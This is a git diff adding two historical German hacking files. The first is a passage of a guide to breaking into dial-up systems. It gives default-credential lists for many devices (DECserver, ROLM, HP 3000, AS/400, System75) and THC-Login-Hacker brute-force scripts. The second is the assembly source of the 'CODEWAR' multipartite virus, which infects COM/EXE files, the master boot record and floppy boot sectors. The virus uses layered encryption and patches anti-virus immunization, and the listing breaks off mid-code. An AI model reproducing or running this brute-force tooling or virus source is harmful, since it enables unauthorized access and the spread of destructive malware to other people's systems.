anzeigen. Zum optimalen Scannen eignet sich am + besten ein Zyxel und ein USR Courier, aeltere Modelle reichen. +f) im Anhang ist ein Login Hacker Script fuer Silent Carriers bei denen a bis e + versagt ;-) + + + +Ich habe ein System gefunden +---------------------------- + +Jetzt muss man erst einmal wissen was fuer ein System man gefunden hat. +Dazu eine Liste mit System Namen und standart Accounts im zweiten Teil. +Dann kann man z.B. alle standart Accounts durchprobieren. +Wenn man den Betreiber des Systemes kennt, z.B eine Firma, dann sollte +man deren Produkte oder Mitarbeiter Namen als login und Password +versuchen. Wenn das alles nichts hilft bleibt nur noch Brute Force +Hacking uebrig. Man probiert mit einem programm alle moeglichen +Kompinationen, Buchstaben und Zahlen an dem System aus. Am besten man +macht das an einem System wo man endlos eingabe versuche hat. Ein gutes +Programm dafuer ist der Thc-Login Hacker, man kann ihn an jedes beliebige +System anpassen weil er mit Script Technik arbeitet. Ein Beispielscript +gibts dazu im Anhang. + + + +Suspend/Command Modus +--------------------- + +Manche Firmen haben ihre dialups echt gut gesichert. Unknackbare Passwoerter +etc. etc. - nur haben sie vielleicht etwas uebersehen : +Viele Programme haben einen "Command Mode", wo man obwohl das Programm laeuft +noch Einstellungen veraendern kann. Ein typisches Beispiel ist z.B. beim +Modem das "+++" wo man dann Modem Kommandos eingeben kann, und dann mit "AT O" +die Verbindung weiter benutzen kann. Andere Programme lassen sich in den +Hintergrund suspenden und man kann eine shell bekommen (z.B. bei unix) +Wie findet man solche Command/Suspend Modes? Sendet ein -BREAK-, ^Z, ^], ^+ +sowie alle weiteren Control-Codes von ^A ueber ^Z bis ^] (01 bis 29). +Was kann man in solchen Modi machen? Nun das haengt vom Programm ab das so +einen Command modus bietet oder das System was einen das Programm suspenden +laesst. Bei Unix z.B. hat man eine shell, mit Glueck sogar eine root shell, +also jackpot. Bei dem Dienstprogramm telnet auf unix, oder auch manche +Dec-Server und Ascend Dialups kommt man in einen command modus wo man z.B. +einen telnet, ping oder sogar ppp machen kann - kann also so das Netzwerk +abscannen oder sogar hacken. + + + +Sonderfall: Internet +-------------------- + +Besonders interessant sind Rechner die am Internet angeschlossen sind. +Bei manchen Connects sieht man z.B. eine IP Adresse, bei anderen den vollen +hostname + domain. Damit kann man z.B. problemlos herausfinden in welchem +Netz die sind (traceroute, broadcast pings, etc.) und versuchen vom Internet +in den Host oder das Netzwerk hineinzukommen. +Falls man nur den hostname sieht kann man sich von ftp.nw.com (Netwizards) +die gesamten ping-baren hosts aller domains holen, z.B. der .com domain und +darin leicht mit einem grep schauen zu welchem Netzwerk der Rechner gehoert. +Falls er nicht in den Listen ist oder aber bei hostname+domain mit ping oder +traceroute nicht zu erreichen ist, ist er entweder nicht angeschlossen, oder +aber hinter einer Firewall, also wenn man nicht wirklich gut im hacking ist +die Finger davon lassen. + +-------------------------------capture---------------------------------------- +CONNECT 14400/ARQ/MNP5 +Trying ... +Connected to 192.354.24.5 +Escape character is '^]'. + +UNIX(r) System V Release 4.0 (sisy500) + +Login: +-------------------------------capture---------------------------------------- + + + +Systeme mit standart Accounts +----------------------------- + +------------------------------------------------------------------------------ +DECserver Communications Server + +DECserver 90TL Communications Server V1.1 (BL44-10) - LAT V5.1 + +Local -010- Session 1 to ZYNET1 established + +Login: +PASSWORD: + +Local -011- Session 1 disconnected from ZYNET1 +hello> + +Standart Accounts: +------------------ +ACCESS +SYSTEM + +Eine Beschreibung von Dec-Servern in Hinsicht auf Outdials siehe THC-MAG2 +------------------------------------------------------------------------------ +Xyplex Terminal Server. + +Enter username> +Local> + +Standart Accounts: +------------------ +ACCESS +SYSTEM +------------------------------------------------------------------------------ + +Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc + +Checking authorization, Please wait... +Annex username: (Enter your NCI userid) +Annex password: (Enter your NCI password) +Permission granted +Annex: + +Befehl Parameter Beschreibung +--------------------------------------------------- +? ? [] :Hilfe +bg bg [-dq] [%][%,+,-,,] :Eine Aktion in Hintergrund setzen +fg fg [-q] [%][%,+,-,,] :zurueck zu einer aktuellen Aktion +hangup hangup [-q] :Auflegen und Port reseten +help help [] :Hilfe +jobs jobs :Zeigt aktuelle Aktionen an +kill kill [%][%,+,-,,]... :Kille eine Aktion +stty stty [parameter [value]]... :Show/Set Annex Port Parameter +telnet telnet [-rsst] [ [port]] :Starte Telnet Connection +who who [[-l] []@ ...] :Zeigt System User + +Standart accounts: +------------------ +guest guest +------------------------------------------------------------------------------ + +ROLM PhoneMail 9252 9254 Microcode Version 5.2 +Login: ? +Valid login modes are: +SYSADMIN, +TECH, +POLL. +Login:tech +Password:tech +ROLM PhoneMail 9252 9254 Microcode Version 5.2 +Copyright (C) ROLM Systems 1991 +All Rights Reserved. +Aktion: + + ( Mit den Befehl "?" oder help kommt man zum folgenden menue) + + The following commands are valid: + Activate - Activate the session + Broadcast - Broadcast a message to all terminals + Connect - Invoke the subsystem + Terminate - Terminate the session + List - List all open sessions + Logout - Terminate all sessions and log off. + Login - Logout and login again. + Display - Display sessions status on a site. + TechView - Enable/Disable TechView training. +------------------------------------------------------------------ +Beschreibung aus TFC05: + +ActivatePM : Starts the Phone Mail system. +AssignClasses : External program to assign COS to each user in the + database. Only local non-Call Processing users are + assigned classes. +BackupDataBase : Create a backup of the customer database on HD or + floppies. +BackupNames : Copies name header information for all subscribers to + a floppy/floppies. +CallProcessing : An external program to create and maintain Mailbox + Profiles. +ChannelTrace : Lists the current state of each channel. Continously + updates until interrupted. +DeactivatePM : Turn off PM system. DON'T USE THIS UNLESS YOU ARE + VERY SURE OF WHAT YOU ARE DOING! Calls will no + longer be taken by the PM if it is deactivated. +DList : Show distribution lists. +FFormat : Format a floppy disk. The single most useless command + for a remote user. +LogOff : Quit session and go to session manager menu. +MonitorLogon : Monitor users logging in to PM. +MonitorTapLink : Shows tap traffic on CBX integrated systems. Continues + to update until interrupted. +OCConfigAndTest : Utility to configure and test all outcalling + related parameters. +Profile : Add All Clear Delete Fix List Modify Purge +Reports : Display reports. +CallActivity : Displays call activity by the hour, with averages. + +Standart accounts +----------------- +sysadmin sysadmin +operator operator +poll poll oder tech +tech tech oder operator + +Info: +Eine genaue Beschreibung ueber dieses System giebt es in TFC #5 +------------------------------------------------------------------------------ + +ROLM CBX II + +ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568 +BIND DATE: 7/APR/93 +COPYRIGHT 1980, 1993 ROLM COMPANY. ALL RIGHTS RESERVED. +ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY. +YOU HAVE ENTERED CPU 1 +12:38:47 ON WEDNESDAY 2/15/1995 + +USERNAME: op + +PASSWORD: + + INVALID USERNAME-PASSWORD PAIR + +Standart Accounts: +------------------ +op op +op operator +su super +admin pwp +eng engineer +------------------------------------------------------------------------------ + +ARC NetBlazer Version 2.1 +ARC-login: + +Standart Accounts: +------------------ +test +setup +remote +snmp +MAV +------------------------------------------------------------------------------ + +Telebit's NetBlazer Version 2.0x5 +netblzr2 login: + +Standart Accounts: +------------------ +test +setup +remote +snmp +MAV +------------------------------------------------------------------------------ + +IFG's VAX 8650 + +%SECURE-I-NET, Incoming number logged by Secure-net + +Username: +Password: +Welcome to VAX 8650 +$ + +Standart Accounts: +------------------ +Vax +Vms +Dcl +Demo +Test +Help +News +Guest +Decnet +Systest +Uetp +Default +User +Field +Service +System +Manager +Operator +------------------------------------------------------------------------------ +HP 3000 + +MPE XL: +MPE XL:HELLO +Expected [session name,] user.acct [,group]. (CIERR 1424) +MPE XL:hello mgr.sys +ENTER ACCOUNT (SYS) PASSWORD: +ENTER ACCOUNT (SYS) PASSWORD: +ENTER ACCOUNT (SYS) PASSWORD: + +Standart Accounts: +------------------ +HELLO MANAGER.SYS +HELLO MGR.SYS +HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP +HELLO OP.OPERATOR +MGR CAROLIAN +MGR CCC +MGR CNAS +MGR CONV +MGR COGNOS +OPERATOR COGNOS +MANAGER COGNOS +OPERATOR DISC +MGR HPDESK +MGR HPWORD +FIELD HPWORD +MGR HPOFFICE +SPOOLMAN HPOFFICE +ADVMAIL HPOFFICE +MAIL HPOFFICE +WP HPOFFICE +MANAGER HPOFFICE +MGR HPONLY +FIELD HPP187 +MGR HPP187 +MGR HPP189 +MGR HPP196 +MGR INTX3 +MGR ITF3000 +MANAGER ITF3000 +MAIL MAIL +MGR NETBASE +MGR REGO +MGR RJE +MGR ROBELLE +MANAGER SECURITY +MGR SECURITY +FIELD SERVICE +MANAGER SYS +MGR SYS +PCUSER SYS +RSBCMON SYS +OPERATOR SYS +OPERATOR SYSTEM +FIELD SUPPORT +OPERATOR SUPPORT +MANAGER TCH +MAIL TELESUP +MANAGER TELESUP +MGR TELESUP +SYS TELESUP +MGE VESOFT +MGE VESOFT +MGR WORD +MGR XLSERVER + +Ein Login Hacker Script gibt es im Anhang +------------------------------------------------------------------------------ + +System75 + +Login: root +INCORRECT LOGIN + +Login: browse +Password: + +Software Version: G3s.b16.2.2 + +Terminal Type (513, 4410, 4425): [513] + +Standart Accounts: +------------------ +bcim bcimpw +bciim bciimpw +bcms bcmspw, bcms +bcnas bcnspw +blue bluepw +browse looker, browsepw +craft crftpw, craftpw, crack +cust custpw +enquiry enquirypw +field support +inads indspw, inadspw, inads +init initpw +kraft kraftpw +locate locatepw +maint maintpw, rwmaint +nms nmspw +rcust rcustpw +support supportpw +tech field +------------------------------------------------------------------------------ +AIX + +IBM AIX Version 3 for RISC System/6000 +(C) Copyrights by IBM and by others 1982, 1990. +login: + +Standart Accounts: +------------------ +guest guest +------------------------------------------------------------------------------ + +AS/400 + +UserID? +Password? + +Standart Accounts: +------------------ +qsecofr qsecofr +qsysopr qsysopr +qpgmr qpgmr +ibm password +ibm 2222 +ibm service +qsecofr 1111111 +qsecofr 2222222 +qserv qserv +qsvr qsvr +secofr secofr +qsrv ibmce1 +------------------------------------------------------------------------------ + + +Systeme ohne Standart Accounts +------------------------------ + +CDC Cyber + +WELCOME TO THE NOS SOFTWARE SYSTEM. +COPYRIGHT CONTROL DATA 1978, 1987. + +88/02/16. 02.36.53. N265100 +CSUS CYBER 170-730. NOS 2.5.2-678/3. +FAMILY: + +You would normally just hit return at the family prompt. Next prompt is: + +USER NAME: +------------------------------------------------------------------------------ + +Cisco Router + +cisco_router_1> (kann jeder beliebige Promt sein) +cisco_router_1>LOGIN +Username: +Password: +------------------------------------------------------------------------------ + +GTN + +WELCOME TO CITIBANK. PLEASE SIGN ON. +XXXXXXXX + +@ +PASSWORD = + +@ + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +PLEASE ENTER YOUR ID:-1-> +PLEASE ENTER YOUR PASSWORD:-2-> + +CITICORP (CITY NAME). KEY GHELP FOR HELP. + XXX.XXX + PLEASE SELECT SERVICE REQUIRED.-3-> +------------------------------------------------------------------------------ + +Lantronix Terminal Server + +Lantronix ETS16 Version V3.1/1(940623) + +Type HELP at the 'Local_15> ' prompt for assistance. + +Login password> +------------------------------------------------------------------------------ + +NIH Timesharing + +NIH Tri-SMP 7.02-FF 16:30:04 TTY11 +system 1378/1381/1453 Connected to Node Happy(40) Line # 12 +Please LOGIN +. +------------------------------------------------------------------------------ + +VM/ESA ONLINE + + TBVM2 VM/ESA Rel 1.1 PUT 9200 + +Fill in your USERID and PASSWORD and press ENTER +(Your password will not appear when you type it) +USERID ===> +PASSWORD ===> + +COMMAND ===> +------------------------------------------------------------------------------ + + + +ANHANG: + +Login Hacker Scripts: +--------------------- + +[BEGIN hp_mpe.txt] +; +; +; ------------------------------------------------------------------------ +; HP MPE-XL : SAC-Script for THC-Login-Hacker v1.0 (by van Hauser) +; ------------------------------------------------------------------------ +; +; +; MPE XL: +; EXPECTED A :HELLO COMMAND. (CIERR 6057) +; MPE XL: hello +; EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424) +; +; +============================================================================= +#DEFINE +PHONE_NR=* +LOGFILE=*.log +DIAL_TRIES=100 +LOGIN_TRIES=0 +DIC(1)=hp_mpe_a.dic +; uncomment command lines below to check for 6 more common MPE passwords + +#NOCARRIER +LOG(CARRIER LOST on $DATE at $TIME) + +LOG() +GOTO(1) + +#START +LOG(--------------------------------------------------------------------------) +LOG( TARGET : $PHONE_NR ) +LOG( DATE : $DATE ) +LOG( TIME : $TIME ) +LOG() +LOG_SESSION_ON +SET D_TMP=1 +SET S_TMP=X + +:1 +SET STRING=X +DIAL +WAIT(1) +IF STRING~XL THEN GOTO(2) +WAIT4STRING(2,^M,6,GOTO(1),XL) + +:2 +SET STRING=X + +SEND_(HELLO ) +IF D_TMP=1 THEN SEND_(ADVMAIL.) +IF D_TMP=2 THEN SEND_(FIELD.) +IF D_TMP=3 THEN SEND_(MAIL.) +IF D_TMP=4 THEN SEND_(MANAGER.) +IF D_TMP=5 THEN SEND_(MGE.) +IF D_TMP=6 THEN SEND_(MGR.) +IF D_TMP=7 THEN SEND_(OP.) +IF D_TMP=8 THEN SEND_(OPERATOR.) +IF D_TMP=9 THEN SEND_(PCUSER.) +IF D_TMP=10 THEN SEND_(RSBCMON.) +IF D_TMP=11 THEN SEND_(SPOOLMAN.) +IF D_TMP=12 THEN SEND_(SYS.) +IF D_TMP=13 THEN SEND_(WP.) + +IF S_TMP=X THEN SEND_NEXT_DIC(1) +IF S_TMP=Y THEN SEND_DIC(1) +IF S_TMP=Z THEN SEND_DIC(1) +IF S_TMP=A THEN SEND_DIC(1) +; IF S_TMP=B THEN SEND_DIC(1) +; IF S_TMP=C THEN SEND_DIC(1) + +IF D_TMP=13 THEN SET S_TMP=X +IF D_TMP=13 THEN SET D_TMP=1 +WAIT(1) +; set this higher if the system response is slow +IF STRING2~HELLO THEN GOTO(3) +IF STRING2~exists THEN GOTO(3) +IF STRING2~on-ex THEN GOTO(4) +IF STRING2~ASSW THEN GOTO(5) +WAIT(2) +IF STRING2~HELLO THEN GOTO(3) +IF STRING2~exists THEN GOTO(3) +IF STRING2~on-ex THEN GOTO(4) +IF STRING2~ASSW THEN GOTO(5) +GOTO(1) + +:3 +INC(D_TMP) +GOTO(2) + +:4 +SET S_TMP=X +SET D_TMP=1 + +:5 +IF S_TMP=Z THEN GOTO(6) +IF S_TMP=A THEN GOTO(7) +;IF S_TMP=B THEN GOTO(8) +;IF S_TMP=C THEN GOTO(9) +SET S_TMP=Z +LOG_($DIC(1)) +SEND_DIC(1) +WAIT(1) +LOG_(HPOnly) +SEND(HPOnly) +WAIT(1) +LOG_(HP) +SEND(HP) +WAIT(2) +GOTO(1) + +:6 +SET S_TMP=A +LOG_(MPE) +SEND(MPE) + +LOG_(Manager) +SEND(Manager) +WAIT(1) +LOG_(mgr) +SEND(mgr) +WAIT(2) +GOTO(1) + +:7 +SET S_TMP=X +; SET S_TMP=B +LOG_(remote) +SEND(remote) +WAIT(1) +LOG_(TeleSup) +SEND(TeleSup) +WAIT(1) +LOG_(operator) +SEND(operator) +WAIT(2) +GOTO(1) + + +; SET S_TMP=C +; LOG_(tech) +; SEND(tech) +; WAIT(1) +; LOG_(mail) +; SEND(mail) +; WAIT(1) +; LOG_(hpoffice) +; SEND(hpoffice) +; WAIT(2) +; GOTO(1) + +; :9 +; SET S_TMP=X +; LOG_(sys) +; SEND(sys) +; WAIT(1) +; LOG_(security) +; SEND(security) +; WAIT(1) +; LOG_(support) +; SEND(support) +; LOG_(hpoffice) +; SEND(hpoffice) +; WAIT(2) +; GOTO(1) + +; :9 +; SET S_TMP=X +; LOG_(sys) +; SEND(sys) +; WAIT(1) +; LOG_(security) +; SEND(security) +; WAIT(1) +; LOG_(support) +; SEND(support) + +; GOTO(1) + +:100 +LOG() +LOG( END OF : $PHONE_NR ) +LOG(--------------------------------------------------------------------------) +#END +[END] + + + +[BEGIN hp_mpe_a.dic] +CAROLIAN +CCC +CNAS +COGNOS +CONV +DISC +HP +HPDESK +HPOFFICE +HPONLY +HPP187 +HPP189 +HPP196 +HPUNSUP +HPWORD +INTX3 +ITF3000 +MAIL +NETBASE +OPERATOR +REGO +RJE +ROBELLE +HPP187 +HPP189 +HPP196 +HPUNSUP +HPWORD +INTX3 +ITF3000 +MAIL +NETBASE +OPERATOR +REGO +RJE +ROBELLE +SERVICE +SUPPORT +SYS +SYSTEM +TCH +TELESUP +VESOFT +WORD +XLSERVER +[END] + + +[BEGIN silent.txt] +; +; +; ------------------------------------------------------------------------ +; Silent Dialups : SAC-Script for THC-Login-Hacker v1.0 (by van Hauser) +; ------------------------------------------------------------------------ +; +; Silent Dialups : No output/response from dialup modem +; (both types, 30 sec hangup & unlimited) +; +; (takes approx. 9-10 hours) +; +; +============================================================================= +#DEFINE +PHONE_NR=#### +LOGFILE=#### +DIAL_TRIES=50 +LOGIN_TRIES=0 +BRUTE(1)=^$,1,1,3 +; tries every combination of Controll-Chars and Misc. Chars from 1 to 3 length. + +#NOCARRIER +CHECK4OUTPUT(OFF) +LOG(CARRIER LOST on $DATE at $TIME) + +LOG() +LOG() +GOTO(1) + +#START +LOG(--------------------------------------------------------------------------) +LOG( TARGET : $PHONE_NR ) +LOG( DATE : $DATE ) +LOG( TIME : $TIME ) +LOG() +LOG_SESSION_ON + +:1 +DIAL +WAIT(1) +CHECK4OUTPUT(99) + +:2 +SEND_NEXT_BRUTE(1) +WAIT_(255) +;waits 255ms between every attempt +GOTO(2) +CHECK4OUTPUT(99) + +:2 +SEND_NEXT_BRUTE(1) +WAIT_(255) +;waits 255ms between every attempt +GOTO(2) + +:99 +CHECK4CARRIER(OFF) +WAIT(5) +CHECK4CARRIER(#NOCARRIER) + +:100 +HANGUP +BEEP +BEEP +BEEP +LOG() +LOG() +LOG( FOUND : $BRUTE(1)) +LOG(--------------------------------------------------------------------------) +#END +[END] + + \ No newline at end of file diff --git a/Papers/codewar.txt b/Papers/codewar.txt new file mode 100644 index 0000000..5b80d4a --- /dev/null +++ b/Papers/codewar.txt @@ -0,0 +1,1732 @@ +;------------------------------------------------------------------------- +; +; +; +; +; +; +; +; +; +; +; +; C O D E W A R V i r u s +; +; +; Programming by Sirius & Mindmaniac +; +; +; Germany 1995. +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +;--------------------------------------------------------------------------- +; +; +; +; Please note: +; -------------- +; +; This programme introduces into the technique of multipartite viruses. +; Pass to responsible people only! +; +; +; +; +; +; Features: +; ------------- +; +; - Infection Type: - COM files, +; - EXE files +; - Master Boot Record (MBR) on Hard Disk Drives +; - Boot Sector (BS) on Floppy Disk Drives +; ( 1.44 Mb + 1.2 Mb ) +; +; +; - Encryption: 3-layer-enryption (generic) +; +; - Memory resident (Bootsector virus technique) +; +; - Retro features. +; +; - Similarities: Alive (File Virus), Junkie (Multipartite Virus) +; +; +; +; +; +; Additional Notes: +; ------------------- +; +; Infected objects are not detected by SSC Anti-Virus Scanner and +; Analyzer. +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +; +;---------------------------------------------------------------------------- + + +Ofs equ Offset +Cmt equ Comment +B equ byte ptr +W equ word ptr + +Directory STRUC +DS_Drive db ? +DS_File_Name db 8 dup(0) +DS_File_Ext db 3 dup(0) +DS_File_Attr db ? +DS_Reserved db 10 dup(0) +DS_Time dw ? +DS_Date dw ? +DS_Start_Clust dw ? +DS_File_Size dd ? +Directory ENDS + +FCB STRUC +FCB_Drive db ? +FCB_File_Name db 8 dup(0) +FCB_File_Ext db 3 dup(0) +FCB_Block dw ? +FCB_Rec_Size dw ? +FCB_File_Size dd ? +FCB_File_Date dw ? +FCB_File_Time dw ? +FCB_Reserved db 8 dup(0) +FCB_Record db ? +FCB_Random dd ? +FCB ENDS + +DTA STRUC +DTA_Reserved db 21 dup(0) +DTA_File_Attr db ? +DTA_File_Time1 db ? ; = seconds +DTA_File_Time2 db ? +DTA_File_Date dw ? +DTA_File_Size dd ? +DTA_File_Name db 13 dup(0) +DTA ENDS + +SFT STRUC +SFT_Reserved1 dw ? ; 0 +SFT_Open_Mode dw ? ; 2 +SFT_File_Attr db ? ; 4 +SFT_Reserved2 dw ? ; 5 +SFT_Reserved3 dd ? ; 7 +SFT_Reserved4 dw ? ; 11 +SFT_File_Time dw ? ; 13 +SFT_File_Date dw ? ; 15 +SFT_File_SizeLo dw ? ; 17 +SFT_File_SizeHi dw ? ; 19 +SFT_Curr_OfsLo dw ? ; 21 +SFT_Curr_OfsHi dw ? ; 23 +SFT_Reserved7 dw ? ; 25 +SFT_Reserved8 dd ? ; 27 +SFT_Reserved9 db ? ; 31 +SFT_File_Name db 8 dup(?) ; 32 = 20h +SFT_File_Ext db 3 dup(?) ; 40 = 28h +SFT ENDS + +ExeH STRUC +Buf_0h dw 0 ; "MZ" oder "ZM" (selten) +Buf_2h dw 0 ; Last page size +Buf_4h dw 0 ; Size in pages +Buf_6h dw 0 +Buf_8h dw 0 +Buf_ah dw 0 +Buf_ch dw 0 +Buf_eh dw 0 ; SS +Buf_10h dw 0 ; SP +Buf_12h dw 0 ; CheckSum +Buf_14h dw 0 ; IP +Buf_16h dw 0 ; CS +Buf_18h dw 0 ; WINDOWS Marker +ExeH ENDS + + + +Flag_Exec_Infection equ 1 + +ofs equ offset +cmt equ comment + +Reloc = ofs Vir_Start +Camouf = 2 +Enc_Word_Length = (Virus_Length/2)+1 +Virus_Length = 4*512 +Header_Length = 18h + +File_Type_COM = byte (Restore_COM-File_Type)-2 +File_Type_EXE = byte (Restore_EXE-File_Type)-2 + +Media_Descriptor_144 = 0F0h +Media_Descriptor_120 = 0F9h + +Vir_Len_Sectors = 4 + +Vir_Harddisk_Track = 0 +Vir_Harddisk_Head = 0 +Vir_Harddisk_Sector = 4 + +Vir_Floppy_120_Track = 79 +Vir_Floppy_120_Head = 1 +Vir_Floppy_120_Sector = 6 + +Vir_Floppy_144_Track = 79 +Vir_Floppy_144_Head = 1 +Vir_Floppy_144_Sector = 15 + + +Names_HDD_Track = 0 +Names_HDD_Head = 0 +Names_HDD_Sector = 3 + + +; in bytes + +F_Min_LengthCOM = 3000 +F_Max_LengthCOM = 50000 + +; in pages + +F_Min_LengthEXE = 6 ; = 3 kb +F_Max_LengthEXE = 2000 ; = 1000 kb + + +Time_Stamp = 13 +TOM_Decrement_value = 5 + + + .286 +CODE SEGMENT BYTE PUBLIC 'CODE' +ASSUME CS:CODE,DS:CODE,ES:NOTHING,SS:NOTHING + ORG 0100h + + +Sample: + jmp Vir_Start + +;---------------------------------------------------------------------------- +; allways start at seg:0000 + + org 100h+ 1*16 +;---------------------------------------------------------------------------- + +Vir_Start: + +;---------------------------------------------------------------------------- +; 1st encryption layer (outer) +;---------------------------------------------------------------------------- + cld + mov CX,Enc_Word_Length + + MOV bp,1234h + ORG $-2 +E1_Idx_Val dw ofs E1_Encrypted_Code + + mov ax,1234h + ORG $-2 +E1_Key_Val dw 0 + + db 081h,3eh +E1_Dec_Loop: + XOR Word Ptr cs:[bp],ax + + inc bp + inc bp + + dec cx + + or cx,cx + jz E1_Loop_done + + jmp short E1_Dec_Loop + db 09ah ;=CALL FAR +E1_Loop_done: +;---------------------------------------------------------------------------- + + +E1_Encrypted_Code: + + +;---------------------------------------------------------------------------- +; 2nd encryption layer (inner) +;---------------------------------------------------------------------------- + mov cx,(Enc_Word_Length/2) +1 + + MOV si,1234h + ORG $-2 +E2_Idx_Val dw ofs E2_Encrypted_Code + + mov ax,1234h + ORG $-2 +E2_Key_Val_1 dw 0 + + mov bx,1234h + ORG $-2 +E2_Key_Val_2 dw 0 + +E2_Dec_Loop: + xor w cs:[si],ax + inc si + inc si + + xor w cs:[si],bx + inc si + inc si + + loop short E2_Dec_Loop + +;---------------------------------------------------------------------------- + + +E2_Encrypted_Code: + + +;---------------------------------------------------------------------------- +; 3rd encryption layer (innerst) +;---------------------------------------------------------------------------- + mov cx,(Enc_Word_Length/3)+1 + + MOV si,1234h + ORG $-2 +E3_Idx_Val dw ofs E3_Encrypted_Code + + mov ax,1234h + ORG $-2 +E3_Key_Val_1 dw 0 + + mov bx,1234h + ORG $-2 +E3_Key_Val_2 dw 0 + + mov dx,1234h + ORG $-2 +E3_Key_Val_3 dw 0 + +E3_Dec_Loop: + xor w cs:[si],ax + inc si + inc si + + xor w cs:[si],bx + inc si + inc si + + xor w cs:[si],dx + inc si + inc si +;Chg1+2 + add ax,1234h + ORG $-2 +E3_Key_Change_1 dw 0 + + add bx,1234h + ORG $-2 +E3_Key_Change_2 dw 0 + + loop short E3_Dec_Loop +;---------------------------------------------------------------------------- + + +E3_Encrypted_Code: + + +;---------------------------------------------------------------------------- + cld + mov ax,cs + or ax,ax + jnz Run_file + jmp Its_boottime +;---------------------------------------------------------------------------- + + + +;---------------------------------------------------------------------------- +; Restore program-header, the registers and go back to the program + +Exit_File: + pop es ds + + + db 0EBh ; JMP-short-opcode +File_Type db File_Type_COM +;---------------------------------------------------------------------------- + + +;---------------------------------------------------------------------------- +; restore the COM-host-file + +Restore_COM: + MOV DI,100h + push di + + MOV Word Ptr cs:[DI],1234h + ORG $-2 +Rest1 dw 0c3c3h + + MOV byte Ptr cs:[DI+2],12h + ORG $-1 +Rest2 db 0c3h + +ZeroRegsForHost: + mov cx,8 +nullup: push 0 + loop nullup + popa + + ret +;---------------------------------------------------------------------------- + + +;---------------------------------------------------------------------------- +; restore the EXE-host-file + +Restore_EXE: + mov ax,ds ; DS = PSP ! + add ax,10h ; + 100h bytes of PSP + add cs:[bx+ofs Old_CS -Reloc],ax ; = new CS + add ax,0000 ; + old SS + org $-2 +Old_SS dw ? + cli + mov ss,ax ; set SS + mov sp,0000 ; set SP + org $-2 +Old_SP dw ? + sti + + call ZeroRegsForHost + + db 0EAh ; = JMP Old_CS:Old_IP + +; In an EXE - header-values are stored here + +Old_ExeValues: +Old_IP dw 0 +Old_CS dw 0 +;---------------------------------------------------------------------------- + + + db " PSYCHo-TECH GMBH 1995 " + +;---------------------------------------------------------------------------- +Run_File: + +; relocate + CALL Delta +Delta: + POP BX + SUB BX,1234h + ORG $-2 + dw ofs Delta -Reloc + +; save PSP + push ds es + + +; assume segments + push cs cs + pop ds es + +; prepare the retf to Exit_File + + push cs + lea ax,cs:[bx+ofs Exit_File -Reloc] + push ax + +; change CS, so we start at ofs 0 not 100h + + mov ax,cs + SHR BX,4 + ADD AX,BX + PUSH AX + MOV AX,ofs Continue -Reloc + PUSH AX + RETF +;---------------------------------------------------------------------------- + + + +;---------------------------------------------------------------------------- +Gag: + push ax ds + in al,40h + test al,1 + jz Skip_Gag + + mov ax,0b800h + mov ds,ax + mov word ptr ds:[(79*2)],00cf9h ;= lightred point "ù" +Skip_Gag: + pop ds ax + ret +;---------------------------------------------------------------------------- + + + +;---------------------------------------------------------------------------- +Its_boottime: + + call Gag + + xor di,di + MOV DS,DI + + mov si,7c00h+512 + +; decrement RAM by xx kB + + SUB Word Ptr DS:[0413h],TOM_Decrement_value + MOV AX,DS:[0413h] + MOV BX,40h + MUL BX + MOV ES,AX + +; move virus to TOM (xxxx bytes) + + MOV CX,Virus_Length + CLD + REPZ MOVSB + +; set new INT 13h and 1Ch + + CLI + + MOV SI,4*13h + MOV DI,ofs Old_Int_13 -Reloc + MOV AX,ofs New_Int_13 -Reloc + CALL Get_Set_Int + + MOV Byte Ptr ES:[ofs Got_Int_21 -Reloc],0 + + MOV SI,4*1ch + MOV DI,ofs Old_Int_1c -Reloc + MOV AX,ofs New_Int_1c -Reloc + CALL Get_Set_Int + + STI + +; save INT 21h + + MOV DI,ofs Old_Int_21 -Reloc + MOV SI,4*21h + MOVSW + MOVSW + + mov di,7c00h + +; prepare RETF to orig PAR/BS + + PUSH CS ;=0 + PUSH DI ;=7c00h + + push es + push ofs Boot_Finish -Reloc + + PUSH CS + POP ES + +; restore the JUMP-Word and the patched PAR/BS + + MOV SI,7c00h + 512 + BS_First_word -Reloc + MOVSW + + mov di,7c00h + 60h ; offset of the patch-area + CALL Call_Move_20 + +; Patch the TBAV immunized partition + + cmp w cs:[7c00h+0dfh],"hT" + jne no_TB_partition + mov b cs:[7c00h+73h],0 + +no_TB_partition: + +; goto Boot_Finish / infect C: + + retf +;---------------------------------------------------------------------------- + + +;---------------------------------------------------------------------------- +New_Int_13: + + cmp ax,0201h ; reading ? + JNZ Jump_Old_Int_13 + + CMP CX,0001h ; sector 1 and Track 0 ? + JNZ Jump_Old_Int_13 + + or dh,dh ; head 0 ? + jnz Jump_Old_Int_13 + + pusha + PUSH DS + PUSH ES + + CALL Int13_Works + + POP ES + POP DS + popa + +Jump_Old_Int_13: + jmp dword ptr cs:(ofs Old_Int_13 -Reloc) + +;---------------------------------------------------------------------------- + + + +;---------------------------------------------------------------------------- +Call_Old_Int_13: + PUSHF + call dword ptr cs:(ofs Old_Int_13 -Reloc) + RET +;---------------------------------------------------------------------------- + + + db " >>> BRAVEd DANGER 4 BRAVE PEOPLe <<< " + + +;---------------------------------------------------------------------------- +Continue: + PUSH DS + PUSH ES + + XOR AX,AX + MOV DS,AX + + PUSH CS + POP ES + +; save int 13h + + MOV DI,ofs Old_Int_13 -Reloc + MOV SI,4*13h + CLD + MOVSW + MOVSW + JMP Short Read_Drive_C +;---------------------------------------------------------------------------- + + +;---------------------------------------------------------------------------- +Boot_Finish: + PUSH DS + PUSH ES +;---------------------------------------------------------------------------- + + +;---------------------------------------------------------------------------- +Read_Drive_C: + MOV AH,02h + MOV DL,80h + + CALL Int13_Works ; infect drive C + + POP ES + POP DS + + XOR AX,AX + XOR BX,BX + retf +;---------------------------------------------------------------------------- + + +;---------------------------------------------------------------------------- +Int13_Works: + + PUSH CS + POP DS + PUSH CS + POP ES + + CALL 